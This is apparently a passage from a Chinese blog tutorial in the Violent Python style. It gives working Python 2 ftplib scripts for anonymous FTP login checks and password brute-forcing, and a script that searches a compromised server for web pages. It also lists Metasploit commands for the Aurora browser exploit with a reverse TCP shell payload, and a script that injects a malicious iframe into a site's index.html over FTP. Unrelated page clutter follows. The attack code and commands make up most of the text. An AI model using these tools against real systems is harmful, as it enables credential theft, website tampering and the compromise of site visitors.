  7. ftp.login( 'anonymous', '123@123.com')
  8. print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
  9. ftp.quit()
  10. return True
  11. except Exception, e:
  12. print '\n[-] ' + str(h1) + ' FTP Anonymous Logon Failed.'
  13. return False
  14. hostname = '10.10.10.128'
  15. anonLogin(hostname)

运行结果:



【个人修改的代码】

稍微修改了一下,实现命令行输入交互:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4. def anonLogin(hostname):
  5. try:
  6. ftp=ftplib.FTP(hostname)
  7. ftp.login( 'anonymous', 'what')
  8. print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
  9. ftp.quit()
  10. return True
  11. except Exception,e:
  12. print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
  13. def main():
  14. while True:
  15. hostname = raw_input( "Please enter the hostname: ")
  16. anonLogin(hostname)
  17. print
  18. if __name__ == '__main__':
  19. main()

运行结果:



使用Ftplib暴力破解FTP用户口令

同样是通过ftplib模块,结合读取含有密码的文件来实现FTP用户口令的破解:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4. def bruteLogin(hostname,passwdFile):
  5. pF = open(passwdFile, 'r')
  6. for line in pF.readlines():
  7. username = line.split( ':')[ 0]
  8. password = line.split( ':')[ 1].strip( '\r').strip( '\n')
  9. print '[+] Trying: ' + username + '/' + password
  10. try:
  11. ftp = ftplib.FTP(hostname)
  12. ftp.login(username,password)
  13. print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
  14. ftp.quit()
  15. return (username,password)
  16. except Exception, e:
  17. pass
  18. print '\n[-] Could not brubrute force FTP credentials.'
  19. return ( None, None)
  20. host = '10.10.10.128'
  21. passwdFile = 'ftpBL.txt'
  22. bruteLogin(host,passwdFile)

运行结果:


其中ftbBL.txt文件:



【个人修改的代码】

小改一下:


 
 
  1. #!/usr/bin/python
  2. import ftplib
  3. def bruteLogin(hostname,passwdFile):
  4. pF=open(passwdFile, 'r')
  5. for line in pF.readlines():
  6. username=line.split( ':')[ 0]
  7. password=line.split( ':')[ 1].strip( '\r').strip( '\n')
  8. print '[+] Trying: '+username+ "/"+password
  9. try:
  10. ftp=ftplib.FTP(hostname)
  11. ftp.login(username,password)
  12. print '\n[*] '+str(hostname)+ ' FTP Logon Succeeded: '+username+ "/"+password
  13. return (username,password)
  14. except Exception,e:
  15. pass
  16. print '\n[-] Could not brute force FTP credentials.'
  17. return ( None, None)
  18. def main():
  19. while True:
  20. h=raw_input( "[*] Please enter the hostname: ")
  21. f=raw_input( "[*] Please enter the filename: ")
  22. bruteLogin(h,f)
  23. print
  24. if __name__ == '__main__':
  25. main()

运行结果:



在FTP服务器上搜索网页

有了FTP服务器的登录口令之后,可以进行测试该服务器是否提供Web服务,其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名,并把找到的所有默认的网页都添加到retList数组中:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4. def returnDefault(ftp):
  5. try:
  6. #nlst()方法获取目录下的文件
  7. dirList = ftp.nlst()
  8. except:
  9. dirList = []
  10. print '[-] Could not list directory contents.'
  11. print '[-] Skipping To Next Target.'
  12. return
  13. retList = []
  14. for filename in dirList:
  15. #lower()方法将文件名都转换为小写的形式
  16. fn = filename.lower()
  17. if '.php' in fn or '.asp' in fn or '.htm' in fn:
  18. print '[+] Found default page: '+filename
  19. retList.append(filename)
  20. return retList
  21. host = '10.10.10.130'
  22. username = 'ftpuser'
  23. password = 'ftppassword'
  24. ftp = ftplib.FTP(host)
  25. ftp.login(username,password)
  26. returnDefault(ftp)

运行结果:



【个人修改的代码】


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4. def returnDefault(ftp):
  5. try:
  6. #nlst()方法获取目录下的文件
  7. dirList = ftp.nlst()
  8. except:
  9. dirList = []
  10. print '[-] Could not list directory contents.'
  11. print '[-] Skipping To Next Target.'
  12. return
  13. retList=[]
  14. for fileName in dirList:
  15. #lower()方法将文件名都转换为小写的形式
  16. fn = fileName.lower()
  17. if '.php' in fn or '.htm' in fn or '.asp' in fn:
  18. print '[+] Found default page: ' + fileName
  19. retList.append(fileName)
  20. if len(retList) == 0:
  21. print '[-] Could not list directory contents.'
  22. print '[-] Skipping To Next Target.'
  23. return retList
  24. def main():
  25. while True:
  26. host = raw_input( '[*]Host >>> ')
  27. username = raw_input( '[*]Username >>> ')
  28. password = raw_input( '[*]Password >>> ')
  29. try:
  30. ftp = ftplib.FTP(host)
  31. ftp.login(username,password)
  32. returnDefault(ftp)
  33. except:
  34. print '[-] Logon failed.'
  35. print
  36. if __name__ == '__main__':
  37. main()

运行结果:



在网页中加入恶意注入代码

这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:

search ms10_002_aurora

use exploit/windows/browser/ms10_002_aurora

show payloads

set payload windows/shell/reverse_tcp

show options

set SRVHOST 10.10.10.160

set URIPATH /exploit

set LHOST 10.10.10.160

set LPORT 443

exploit

运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧:


过程清晰之后,就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可,整个代码如下:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4. def injectPage(ftp,page,redirect):
  5. f = open(page + '.tmp', 'w')
  6. #下载FTP文件
  7. ftp.retrlines( 'RETR ' + page,f.write)
  8. print '[+] Downloaded Page: ' + page
  9. f.write(redirect)
  10. f.close()
  11. print '[+] Injected Malicious IFrame on: ' + page
  12. #上传目标文件
  13. ftp.storlines( 'STOR ' + page,open(page + '.tmp'))
  14. print '[+] Uploaded Injected Page: ' + page
  15. host = '10.10.10.130'
  16. username = 'ftpuser'
  17. password = 'ftppassword'
  18. ftp = ftplib.FTP(host)
  19. ftp.login(username,password)
  20. redirect = '<iframe src="http://10.10.10.160:8080/exploit"></iframe>'
  21. injectPage(ftp, 'index.html',redirect)

运行结果:

  • 5
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
Python学习笔记PDF是一种学习Python编程语言的资料形式,它包含了Python的基本语法、数据类型、流程控制、函数、模块、面向对象编程、异常处理等相关内容。以下是关于Python学习笔记PDF的详细内容说明: 1. 基本语法:Python学习笔记PDF中,首先介绍了Python的基本语法,例如如何定义变量、数据类型的使用(包括整数、浮点数、字符串、列表、元组、字典等),以及如何进行算术运算、比较运算和逻辑运算。 2. 流程控制:Python学习笔记PDF中,进一步介绍了流程控制的知识,包括条件判断和循环控制。条件判断主要是通过if语句进行判断执行不同的代码块,而循环控制则通过while循环和for循环来实现重复执行一段代码。 3. 函数:Python学习笔记PDF中,对函数的概念和使用进行了详细的解释。函数是代码的封装和组织方式,通过定义函数可以提高代码的重用性和可读性。学习者将了解到如何定义函数、调用函数、函数参数的传递以及函数返回值的使用。 4. 模块:Python学习笔记PDF中,介绍了Python中的模块和包的概念。模块是一组函数、类或变量的集合,以.py文件的形式存在,可以被其他程序调用和使用。学习者将学习如何导入模块、使用模块中的函数和变量。 5. 面向对象编程:Python学习笔记PDF中,对面向对象编程进行了系统的讲解。面向对象编程是一种以对象为基本单位的编程思想,通过定义类和对象,可以更好地组织和管理代码。学习者将了解如何定义类、创建对象、封装、继承和多态的使用。 6. 异常处理:Python学习笔记PDF中,对异常处理进行了介绍。异常是程序在运行过程中出现的错误,通过捕获和处理异常,可以更好地控制程序的执行流程并提高程序的健壮性。学习者将了解到如何使用try-except语句来捕获和处理异常。 总之,Python学习笔记PDF是一份全面而详细的学习Python编程语言的资料,通过学习该资料,学习者将获得扎实的Python编程基础,并能够运用Python进行简单的程序开发。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值